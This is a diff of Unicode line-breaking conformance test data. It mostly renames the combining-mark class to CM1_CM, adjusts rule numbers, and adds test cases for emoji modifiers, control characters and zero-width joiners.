-× 00A7 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 00A7 × 0308 ÷ 1160 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 00A7 × 000A ÷ # × [0.3] SECTION SIGN (AI_AL) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 00A7 × 0020 × 000A ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 00A7 × 0308 × 000A ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 000A ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 00A7 × 0308 × 000A ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 000A ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 00A7 × 0085 ÷ # × [0.3] SECTION SIGN (AI_AL) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 00A7 × 0020 × 0085 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 00A7 × 0308 × 0085 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 0085 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 00A7 × 0308 × 0085 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 0085 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 00A7 × 17D6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 00A7 × 0020 ÷ 17D6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 00A7 × 0308 × 17D6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 00A7 × 0308 × 17D6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 00A7 × 0030 ÷ # × [0.3] SECTION SIGN (AI_AL) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
× 00A7 × 0020 ÷ 0030 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 00A7 × 0308 × 0030 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 00A7 × 0308 × 0030 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 00A7 × 0028 ÷ # × [0.3] SECTION SIGN (AI_AL) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
× 00A7 × 0020 ÷ 0028 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 00A7 × 0308 × 0028 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 00A7 ÷ 0025 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 00A7 × 0308 × 0028 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 00A7 × 0025 ÷ # × [0.3] SECTION SIGN (AI_AL) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
× 00A7 × 0020 ÷ 0025 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 00A7 × 0308 ÷ 0025 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 00A7 ÷ 0024 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 00A7 × 0308 × 0025 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 00A7 × 0024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
× 00A7 × 0020 ÷ 0024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 00A7 × 0308 ÷ 0024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 00A7 × 0308 × 0024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 00A7 × 0022 ÷ # × [0.3] SECTION SIGN (AI_AL) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 00A7 × 0020 ÷ 0022 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 00A7 × 0308 × 0022 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 00A7 × 0308 × 0022 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 00A7 × 0020 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [0.3]
× 00A7 × 0020 × 0020 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 0020 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 0020 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 00A7 × 002F ÷ # × [0.3] SECTION SIGN (AI_AL) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 00A7 × 0020 × 002F ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 00A7 × 0308 × 002F ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 002F ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 00A7 × 0308 × 002F ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 002F ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 00A7 × 2060 ÷ # × [0.3] SECTION SIGN (AI_AL) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 00A7 × 0020 × 2060 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 00A7 × 0308 × 2060 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 2060 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 00A7 × 0308 × 2060 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 2060 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 00A7 × 200B ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 00A7 × 0020 × 200B ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 00A7 × 0308 × 200B ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 00A7 × 0308 × 0020 × 200B ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 00A7 × 0308 × 200B ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 00A7 × 0308 × 0020 × 200B ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 00A7 ÷ 1F1E6 ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 00A7 × 0020 ÷ 1F1E6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 00A7 × 0308 ÷ 1F1E6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00A7 × 0308 ÷ 1F1E6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 00A7 ÷ 261D ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00A7 × 0020 ÷ 261D ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00A7 × 0308 ÷ 261D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 261D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 00A7 ÷ 1F3FB ÷ # × [0.3] SECTION SIGN (AI_AL) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00A7 × 0020 ÷ 1F3FB ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00A7 × 0308 ÷ 1F3FB ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 00A7 × 0001 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00A7 × 0020 ÷ 0001 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00A7 × 0308 × 0001 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 00A7 × 200D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00A7 × 0020 ÷ 200D ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00A7 × 0308 × 200D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 200D ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 00A7 × 00A7 ÷ # × [0.3] SECTION SIGN (AI_AL) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 00A7 × 0020 ÷ 00A7 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 00A7 × 0308 × 00A7 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 00A7 × 0308 × 00A7 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 00A7 × 50005 ÷ # × [0.3] SECTION SIGN (AI_AL) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 00A7 × 0020 ÷ 50005 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 00A7 × 0308 × 50005 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 00A7 × 0308 × 50005 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 00A7 × 0E01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 00A7 × 0020 ÷ 0E01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 00A7 × 0308 × 0E01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 00A7 × 0308 × 0E01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 00A7 × 3041 ÷ # × [0.3] SECTION SIGN (AI_AL) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 00A7 × 0020 ÷ 3041 ÷ # × [0.3] SECTION SIGN (AI_AL) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 00A7 × 0308 × 3041 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 00A7 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 00A7 × 0308 × 3041 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 00A7 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] SECTION SIGN (AI_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 50005 × 0023 ÷ # × [0.3] <reserved-50005> (XX_AL) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
× 50005 × 0020 ÷ 0023 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 50005 × 0308 × 0023 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 50005 × 0308 × 0023 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 50005 ÷ 2014 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 50005 × 0020 ÷ 2014 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 50005 × 0308 ÷ 2014 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 50005 × 0308 ÷ 2014 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 50005 × 0009 ÷ # × [0.3] <reserved-50005> (XX_AL) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 50005 × 0020 ÷ 0009 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 50005 × 0308 × 0009 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 50005 × 0308 × 0009 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 50005 ÷ 00B4 ÷ # × [0.3] <reserved-50005> (XX_AL) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 50005 × 0020 ÷ 00B4 ÷ # × [0.3] <reserved-50005> (XX_AL) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 50005 × 0308 ÷ 00B4 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 50005 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 50005 × 0308 ÷ 00B4 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 50005 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <reserved-50005> (XX_AL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
